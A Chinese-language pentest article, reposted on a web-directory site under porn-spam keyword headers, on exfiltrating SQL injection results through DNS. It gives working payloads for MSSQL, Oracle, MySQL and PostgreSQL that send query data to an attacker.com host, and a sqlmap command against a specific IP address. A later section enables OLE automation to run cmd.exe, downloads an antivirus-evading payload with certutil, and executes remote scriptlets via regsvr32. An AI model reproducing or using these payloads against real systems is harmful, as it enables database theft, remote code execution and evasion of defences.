日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

No.1

聲明

由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。

雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。

No.2

前言

在實戰滲透測試過程中,經常碰到SQL注入點無法回顯數據,獲得sqlmap中os-shell也無法進一步getshell或是反彈shell,從而放棄繼續深入。

No.3

什么是OOB

根據用于數據檢索的傳輸信道,SQLi可分為三個獨立的類別:inband, inference(推理) 和out-of-band。

Inband技術使用攻擊者和有漏洞的Web應用程序之間現有的渠道來提取數據。通常該通道是標準的Web服務器響應。它的成員union技術使用現有的web頁面輸出惡意SQL查詢的執行結果,而error-based技術則引發特定的惡意SQL查詢的執行結果的DBMS的錯誤消息。

相反的,在Inference技術中,攻擊者通過應用程序表現的差異來推斷數據的值。Inference技術能夠逐位提取惡意SQL查詢結果,卻沒有真正傳輸數據。

Inference的核心是在服務器執行一系列的布爾查詢,觀察和最后推導接收結果的含義。根據觀察到的特性,它的成員被稱為布爾型盲注(bool)和基于時間(time-based)的盲注技術。在布爾型盲注技術中,網絡服務器響應內容的變化用于區分邏輯的值(true/false),而在基于時間的盲注技術中則通過觀察Web服務器響應時間(sleep/benchmark)的變化來推斷答案。

Out-of-band (OOB)技術,與inband相反,使用其它傳輸信道獲取數據,例如HTTP協議和DNS解析協議。當詳細的錯誤信息被禁用(無回顯)、結果被限制或過濾(被攔截)、出站過濾規則不嚴和/或當減少查詢的數目變得極度重要時inference技術看起來像是唯一的選擇,這時使用OOB技術滲透便變得十分有趣。

例如,基于HTTP的OOB技術的SQL查詢結果變成了發送給HTTP服務器請求的一部分(例如GET參數值)被能訪問日志文件的攻擊者控制時。此類的技術不像其它的主流技術被廣泛應用,主要是其所需的設置非常復雜,但使用它們可以克服許多障礙(如避免不必要的數據庫寫入和極大地提升利用INSERT/UPDATE語句漏洞的基于時間的SQL注入)。

No.4

DNS傳輸數據

需要先理解下DNS解析過程,看下面圖即可:

利用DNS實現SQL注入帶外查詢

在實際應用中,實現dns解析,有多種方法:

1. 使用burp suite 自帶的Burp Collaborator client(方便好用,用于探測數據庫服務器能否出網)

2. 搭建一個簡易http服務器,如Python服務器(有域名最好)

3. 使用開放平臺的ceye.io或是自己搭建的dnslog服務器(網上有很多類型平臺和文章,不再做介紹)

4. 使用sqlmap中的—dns-domain參數

No.5

查詢方法

1.MSSQL:

我們可以簡單地使用master.dbo.xp_dirtree功能來執行DNS查詢。該操作的主要目的是將文件放在目錄下,但它也允許遠程目錄訪問,這樣我們就可以讓我們的域運行并獲得結果。語法如下所示:

DECLARE @data varchar(1024);

SELECT @data =(SELECT foo FROM bar);

EXEC('master..xp_dirtree“\'+ @ data +'.attacker.com  foo $”');

如果其他方法有任何問題,我們也可以使用像xp_fileexists和xp_subdirs這樣的函數; 它們在語法上是相同的。

2.Oracle:

有UTL_INADDR.GET_HOST_ADDRESS

UTL_HTTP.REQUEST

HTTP_URITYPE.GETCLOB

和DBMS_LDAP.INIT

這些函數中的每一個都執行名稱解析,其中一個示例用例是:

SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80)FROM DUAL;

3.MySQL:

LOAD_FILE可用于解析域名

SELECT LOAD_FILE(CONCAT('\\',(SELECT foo FROM bar),'.atacker.com'));

4.PostgreSQL:

對于postgresql我們可以使用COPY函數,它基本上讀取一個文件并將其內容復制到一個表中,語法如下:

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function

RETURNS VOID AS $$

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT foo FROM bar);

exec_cmd := E'COPY table_output(content) FROM E'\\\\'||query_result||E'.attacker.com\\foobar.txt'';

EXECUTE exec_cmd;

END;

$$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function;

No.6

sqlmap --dns-domain回顯

準備:一個控制的域名:opendns.online

例子:發現uid存在注入

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online
利用DNS實現SQL注入帶外查詢

使用tcpdump進行監聽53d端口的udp流量:

tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53

利用DNS實現SQL注入帶外查詢

我們可以看到,sqlmap將查詢響應放在兩個隨機字符串之間,并將我們的域名附加到它以執行dns請求。然后,在這些隨機字符串的幫助下,它可以理解哪個請求響應特定查詢并相應地生成結果。

No.7

思路延伸

看到有同事在實戰應用中碰到很多障礙,需要扎實的基礎,才能有許多技巧去繞過。碰到問題,解決問題,能夠從中學習到很多。

dns解析已經很成熟,但只是一種輔助手段,本質還是需要對常用數據庫特性有深入理解。

場景:

機器:windows 2008

數據庫:MSSQL

注入點權限:DBA權限

服務器上安裝:360+ESET NOD32 Antivirus

擁有—os-shell權限,能夠執行命令(以前碰到這種環境,執行命令就結束了,現在有再好的思路,進一步獲取shell)

面臨的問題

1.xp_cmdshell無法使用。

2.服務器安裝了殺軟,常規手段會被查殺和阻斷。

3.雖然獲得了os_shell終端,但無法回顯執行情況。

解決思路:

1.sqlmap在判斷xp_cmdshell無法調用情況下,sp_oacreate用于創建OLE對象實例。

開啟相應功能:

EXEC sp_configure 'show advanced options', 1; 

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

執行(解析:sp_oacreate初始化創建一個OLE對象wscript.shell,使用sp_oamethod調用OLE對象的方法,cmd.exe執行whoami命令再輸出到c盤who.txt文件):

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',,'c:windowssystem32cmd.exe /c whoami >C:who.txt'

2.現在的問題是無法回顯執行的結果,選擇使用dnslog方式進行帶外查詢,這里先使用burp collaborator 判斷能否出網,如果能夠正常出網,搭建python http.server服務器用于接收回顯信息。

3.使用os-shell>certutil -urlcache -split -f http://xx.xx.xx.xx:8000/1.exe下載payload(已免殺)。

4.接收回顯信息判斷是否下載、運行成功,同時使用wmic process call create "regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx:8086/p.txt scrobj.dll"探測進程1.exe是否正常運行成功。

解決思路腦圖如下:

利用DNS實現SQL注入帶外查詢

分享到:
標簽:注入 SQL
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定